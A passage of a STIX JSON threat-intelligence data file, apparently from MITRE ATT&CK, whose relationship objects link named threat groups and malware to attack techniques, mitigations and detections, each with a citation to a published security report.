2016.","url":"https://technet.microsoft.com/en-us/sysinternals/bb963902"}]},{"type":"relationship","id":"relationship--28fa44de-4b89-4ce6-a29c-895e42a30628","created":"2023-03-23T18:45:28.775Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Dukes October 2019","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T18:51:39.823Z","description":"For [Operation Ghost](https://attack.mitre.org/campaigns/C0023), [APT29](https://attack.mitre.org/groups/G0016) used [FatDuke](https://attack.mitre.org/software/S0512) as a third-stage backdoor.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"campaign--7854c1a0-f06c-4876-98a4-4bbd34751b05","target_ref":"malware--54a01db0-9fab-4d5f-8209-53cef8425f4a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--28fd47e4-d76e-4cd2-8ad2-745d1d0a5c72","type":"relationship","created":"2022-01-06T20:07:13.318Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Konni Aug 2021","url":"https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/","description":"Threat Intelligence Team. (2021, August 23). New variant of Konni malware used in campaign targetting Russia. Retrieved January 5, 2022."}],"modified":"2022-01-06T20:07:13.318Z","description":"[KONNI](https://attack.mitre.org/software/S0356) has used net session on the victim's machine.(Citation: Malwarebytes Konni Aug 2021) ","relationship_type":"uses","source_ref":"malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--28ffc627-936b-4572-93f6-0c46cb361dda","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"RATANKBA","description":"Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.","url":"https://www.trendmicro.com/en_us/research/17/b/ratankba-watering-holes-against-enterprises.html"}],"modified":"2020-09-02T18:46:32.713Z","description":"[RATANKBA](https://attack.mitre.org/software/S0241) runs the whoami and query user commands.(Citation: RATANKBA)","relationship_type":"uses","source_ref":"malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2904937b-f1ed-4fa8-87e9-a7d69cbccc27","created":"2023-03-22T03:54:35.304Z","revoked":false,"external_references":[{"source_name":"CISA AA20-259A Iran-Based Actor September 2020","description":"CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020.","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-259a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T03:54:35.304Z","description":"[Fox Kitten](https://attack.mitre.org/groups/G0117) has base64 encoded scripts to avoid detection.(Citation: CISA AA20-259A Iran-Based Actor September 2020)","relationship_type":"uses","source_ref":"intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2909d2e7-ec59-4100-ad7a-f1197d419ae6","created":"2023-09-18T18:13:24.041Z","revoked":false,"external_references":[{"source_name":"Cisco Operation Layover September 2021","description":"Ventura, V. (2021, September 16). Operation Layover: How we tracked an attack on the aviation industry to five years of compromise. Retrieved September 15, 2023.","url":"https://blog.talosintelligence.com/operation-layover-how-we-tracked-attack/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-18T18:13:24.041Z","description":"[TA2541](https://attack.mitre.org/groups/G1018) has used a .NET packer to obfuscate malicious files.(Citation: Cisco Operation Layover September 2021)","relationship_type":"uses","source_ref":"intrusion-set--467271fd-47c0-4e90-a3f9-d84f5cf790d0","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--290a1ceb-68e1-42ae-be81-f474038aaa05","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Operation Groundbait","description":"Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T00:26:00.246Z","description":"Some resources in [Prikormka](https://attack.mitre.org/software/S0113) are encrypted with a simple XOR operation or encoded with Base64.(Citation: ESET Operation Groundbait)","relationship_type":"uses","source_ref":"malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--290c4e3b-00be-411f-b0c8-919e85e08a49","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Operation Groundbait","description":"Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf"}],"modified":"2019-07-26T20:45:14.660Z","description":"[Prikormka](https://attack.mitre.org/software/S0113) contains a module that captures screenshots of the victim's desktop.(Citation: ESET Operation Groundbait)","relationship_type":"uses","source_ref":"malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2910f5f5-38d6-418a-8566-23d31b93b124","type":"relationship","created":"2019-01-30T20:01:45.460Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Denis April 2017","url":"https://securelist.com/use-of-dns-tunneling-for-cc-communications/78203/","description":"Shulmin, A., Yunakovsky, S. (2017, April 28). Use of DNS Tunneling for C&C Communications. Retrieved November 5, 2018."},{"source_name":"Cybereason Cobalt Kitty 2017","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf"}],"modified":"2019-04-24T20:56:04.719Z","description":"[Denis](https://attack.mitre.org/software/S0354) collects OS information and the computer name from the victim’s machine.(Citation: Securelist Denis April 2017)(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2913137b-33ce-4488-a274-25fc9198d693","created":"2022-10-13T20:55:44.871Z","revoked":false,"external_references":[{"source_name":"Mandiant UNC3890 Aug 2022","description":"Mandiant Israel Research Team. (2022, August 17). Suspected Iranian Actor Targeting Israeli Shipping, Healthcare, Government and Energy Sectors. Retrieved September 21, 2022.","url":"https://www.mandiant.com/resources/blog/suspected-iranian-actor-targeting-israeli-shipping"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T20:55:44.871Z","description":"[SUGARDUMP](https://attack.mitre.org/software/S1042)'s scheduled task has been named `MicrosoftInternetExplorerCrashRepoeterTaskMachineUA` or `MicrosoftEdgeCrashRepoeterTaskMachineUA`, depending on the Windows OS version.(Citation: Mandiant UNC3890 Aug 2022) ","relationship_type":"uses","source_ref":"malware--9c10cede-c0bb-4c5c-91c0-8baec30abaf6","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--291b7fbf-5b5f-460a-8009-cadb383b3262","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dell TG-3390","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.","url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"}],"modified":"2020-03-16T16:56:45.593Z","description":"[HTTPBrowser](https://attack.mitre.org/software/S0070)'s code may be obfuscated through structured exception handling and return-oriented programming.(Citation: Dell TG-3390)","relationship_type":"uses","source_ref":"malware--e066bf86-9cfb-407a-9d25-26fd5d91e360","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--291df761-474b-4c5f-a9bd-2aaef0f80d70","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Forcepoint Monsoon","description":"Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.","url":"https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"}],"modified":"2020-03-16T19:50:03.320Z","description":"[Unknown Logger](https://attack.mitre.org/software/S0130) is capable of spreading to USB devices.(Citation: Forcepoint Monsoon)","relationship_type":"uses","source_ref":"malware--ab3580c8-8435-4117-aace-3d9fbe46aa56","target_ref":"attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--291e3bfc-90e7-44ac-828c-8bbf7b36431c","created":"2024-03-12T20:31:27.096Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge Part 3 February 2024","description":"Lin, M. et al. (2024, February 27). Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts. Retrieved March 1, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-17T21:00:36.208Z","description":"[BUSHWALK](https://attack.mitre.org/software/S1118) can modify the `DSUserAgentCap.pm` Perl module on Ivanti Connect Secure VPNs and either activate or deactivate depending on the value of the user agent in incoming HTTP requests.(Citation: Mandiant Cutting Edge Part 3 February 2024)","relationship_type":"uses","source_ref":"malware--29a0bb87-1162-4c83-9834-2a98a876051b","target_ref":"attack-pattern--451a9977-d255-43c9-b431-66de80130c8c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--291e908e-1d2e-4b29-a564-5a33149d1dbb","type":"relationship","created":"2019-01-29T19:55:48.173Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/the-epic-turla-operation/65545/","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.","source_name":"Kaspersky Turla"},{"description":"Kaspersky Lab's Global Research & Analysis Team. (2014, August 06). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros. Retrieved November 7, 2018.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080105/KL_Epic_Turla_Technical_Appendix_20140806.pdf","source_name":"Kaspersky Turla Aug 2014"}],"modified":"2019-07-26T16:10:42.930Z","description":"[Epic](https://attack.mitre.org/software/S0091) recursively searches for all .doc files on the system and collects a directory listing of the Desktop, %TEMP%, and %WINDOWS%\\Temp directories.(Citation: Kaspersky Turla)(Citation: Kaspersky Turla Aug 2014)","relationship_type":"uses","source_ref":"malware--6b62e336-176f-417b-856a-8552dd8c44e1","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--292248d9-30b0-4de3-9041-407db4e78f78","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Buckeye","description":"Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.","url":"http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"}],"modified":"2020-03-28T21:40:03.688Z","description":"[RemoteCMD](https://attack.mitre.org/software/S0166) can execute commands remotely by creating a new service on the remote system.(Citation: Symantec Buckeye)","relationship_type":"uses","source_ref":"malware--4e6b9625-bbda-4d96-a652-b3bb45453f26","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--29282003-9cf6-4cdf-b87d-92dfcf2b1d52","created":"2024-09-23T23:02:48.289Z","revoked":false,"external_references":[{"source_name":"group-ib_redcurl1","description":"Group-IB. (2020, August). RedCurl: The Pentest You Didn’t Know About. Retrieved August 9, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl/"},{"source_name":"group-ib_redcurl2","description":"Group-IB. (2021, November). RedCurl: The Awakening. Retrieved August 14, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl-2/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T23:02:48.289Z","description":"[RedCurl](https://attack.mitre.org/groups/G1039) has placed modified LNK files on network drives for lateral movement.(Citation: group-ib_redcurl1)(Citation: group-ib_redcurl2)","relationship_type":"uses","source_ref":"intrusion-set--82323c70-4186-4b61-94f5-b227c3b28e89","target_ref":"attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--29284c62-45b2-4650-88ac-fea62ddcd829","type":"relationship","created":"2020-01-24T17:00:00.074Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-24T17:00:00.074Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35","target_ref":"attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--292b2a10-ebee-4fbb-b359-2eee16aa46ba","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf","description":"Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.","source_name":"CopyKittens Nov 2015"}],"modified":"2020-03-30T02:00:38.251Z","description":"[CopyKittens](https://attack.mitre.org/groups/G0052) encrypts data with a substitute cipher prior to exfiltration.(Citation: CopyKittens Nov 2015)","relationship_type":"uses","source_ref":"intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a","target_ref":"attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--292e29e8-79d9-4b15-930e-a7e26c27ca15","created":"2024-08-05T19:16:54.175Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-05T19:16:54.175Z","description":"Prevent user installation of unrequired command and scripting interpreters.","relationship_type":"mitigates","source_ref":"course-of-action--23843cff-f7b9-4659-a7b7-713ef347f547","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--292fd2a5-45fa-4125-84ea-8b5f341dc579","type":"relationship","created":"2021-11-17T17:07:35.414Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."},{"source_name":"Talent-Jump Clambling February 2020","url":"https://www.talent-jump.com/article/2020/02/17/CLAMBLING-A-New-Backdoor-Base-On-Dropbox-en/","description":"Chen, T. and Chen, Z. (2020, February 17). CLAMBLING - A New Backdoor Base On Dropbox. Retrieved November 12, 2021."}],"modified":"2021-11-23T15:26:58.707Z","description":"[Clambling](https://attack.mitre.org/software/S0660) can browse directories on a compromised host.(Citation: Trend Micro DRBControl February 2020)(Citation: Talent-Jump Clambling February 2020)","relationship_type":"uses","source_ref":"malware--6e95feb1-78ee-48d3-b421-4d76663b5c49","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--293f103b-ab5f-46ee-b51e-c111370f3b79","type":"relationship","created":"2019-09-13T13:17:26.266Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Machete Aug 2014","url":"https://securelist.com/el-machete/66108/","description":"Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019."},{"description":"The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.","url":"https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html","source_name":"Cylance Machete Mar 2017"},{"source_name":"360 Machete Sep 2020","url":"https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/","description":"kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries — HpReact campaign. Retrieved November 20, 2020."}],"modified":"2020-11-23T22:25:18.123Z","description":"[Machete](https://attack.mitre.org/software/S0409) takes photos from the computer’s web camera.(Citation: Securelist Machete Aug 2014)(Citation: Cylance Machete Mar 2017)(Citation: 360 Machete Sep 2020)","relationship_type":"uses","source_ref":"malware--35cd1d01-1ede-44d2-b073-a264d727bc04","target_ref":"attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--29403801-cdba-4de9-9b9c-c1295b9eccf6","type":"relationship","created":"2019-01-31T00:36:41.043Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.","url":"https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html","source_name":"Talos Konni May 2017"}],"modified":"2019-07-26T18:47:19.014Z","description":"[KONNI](https://attack.mitre.org/software/S0356) can steal profiles (containing credential information) from Firefox, Chrome, and Opera.(Citation: Talos Konni May 2017)","relationship_type":"uses","source_ref":"malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--29552a61-61fe-4265-9468-e53318bd388c","created":"2020-12-14T17:34:58.767Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Nicolas Falliere, Liam O Murchu, Eric Chien February 2011","description":"Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 ","url":"https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-17T17:57:24.964Z","description":"[Stuxnet](https://attack.mitre.org/software/S0603) used WMI with an explorer.exe token to execute on a remote share.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)","relationship_type":"uses","source_ref":"malware--088f1d6e-0783-47c6-9923-9c79b2af43d4","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--29552ed5-ecfd-4a97-a6c9-d6da25181e1a","type":"relationship","created":"2020-06-11T19:52:07.355Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Anomali Rocke March 2019","url":"https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang","description":"Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019."},{"source_name":"Talos Rocke August 2018","url":"https://blog.talosintelligence.com/2018/08/rocke-champion-of-monero-miners.html","description":"Liebenberg, D.. (2018, August 30). Rocke: The Champion of Monero Miners. Retrieved May 26, 2020."}],"modified":"2020-06-11T19:52:07.355Z","description":"[Rocke](https://attack.mitre.org/groups/G0106) has used Pastebin, Gitee, and GitLab for Command and Control.(Citation: Anomali Rocke March 2019)(Citation: Talos Rocke August 2018)","relationship_type":"uses","source_ref":"intrusion-set--44102191-3a31-45f8-acbe-34bdb441d5ad","target_ref":"attack-pattern--830c9528-df21-472c-8c14-a036bf17d665","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--295b6c01-1a79-4fd9-b3a1-010affcc3c88","type":"relationship","created":"2022-03-30T14:26:51.868Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.868Z","description":"Monitor executed commands and arguments that may attempt to take screen captures of the desktop to gather information over the course of an operation.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--295f4cf0-1fb7-4d60-8e15-af8f301d0e1b","type":"relationship","created":"2021-01-11T19:17:54.620Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Red Canary NETWIRE January 2020","url":"https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/","description":"Lambert, T. (2020, January 29). Intro to Netwire. Retrieved January 7, 2021."}],"modified":"2021-01-11T19:17:54.620Z","description":"[NETWIRE](https://attack.mitre.org/software/S0198) has used .NET packer tools to evade detection.(Citation: Red Canary NETWIRE January 2020)","relationship_type":"uses","source_ref":"malware--2a70812b-f1ef-44db-8578-a496a227aef2","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2962304a-f96e-4323-958f-f685eae97ac6","type":"relationship","created":"2020-05-28T16:38:03.774Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Eset Ramsay May 2020","url":"https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/","description":"Sanmillan, I.. (2020, May 13). Ramsay: A cyber‑espionage toolkit tailored for air‑gapped networks. Retrieved May 27, 2020."}],"modified":"2020-05-28T16:38:03.774Z","description":"[Ramsay](https://attack.mitre.org/software/S0458) has included a rootkit to evade defenses.(Citation: Eset Ramsay May 2020)\t","relationship_type":"uses","source_ref":"malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997","target_ref":"attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--29639eea-ddaf-44ce-95d3-053ba8a9eeb9","created":"2024-03-13T21:24:35.355Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Segurança Informática URSA Sophisticated Loader 2020","description":"Pedro Tavares (Segurança Informática). (2020, September 15). Threat analysis: The emergent URSA trojan impacts many countries using a sophisticated loader. Retrieved March 13, 2024.","url":"https://seguranca-informatica.pt/threat-analysis-the-emergent-ursa-trojan-impacts-many-countries-using-a-sophisticated-loader/"},{"source_name":"SCILabs Malteiro 2021","description":"SCILabs. (2021, December 23). Cyber Threat Profile Malteiro. Retrieved March 13, 